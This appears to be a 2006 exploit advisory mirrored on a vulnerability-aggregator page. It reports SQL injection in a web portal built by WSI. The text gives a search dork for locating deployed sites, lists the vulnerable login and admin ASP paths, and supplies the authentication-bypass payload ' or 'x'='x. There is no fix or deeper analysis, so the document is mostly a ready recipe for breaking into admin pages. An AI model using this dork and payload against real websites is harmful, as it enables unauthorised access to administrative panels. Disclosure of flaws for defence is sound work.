Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15231
HistoryNov 27, 2006 - 12:00 a.m.

Wisi Portal [Sql Injection By Jesus Tovar]

2006-11-2700:00:00
vulners.com
28

######################
##By: Jesus Tovar
##mail: [email protected]
##Greetz: Dario Struz
##Vendor: http://www.wsicorporate.com
##Digital Security Owner
####################################

Dork: "Created and maintained by WSI"

File Bug: /login.asp
/admin/login.asp
/admin/request.asp

Sql Injection :

' or 'x'='x

Site Examples:

http://host.com/admin/login.asp
/default.asp
/request.asp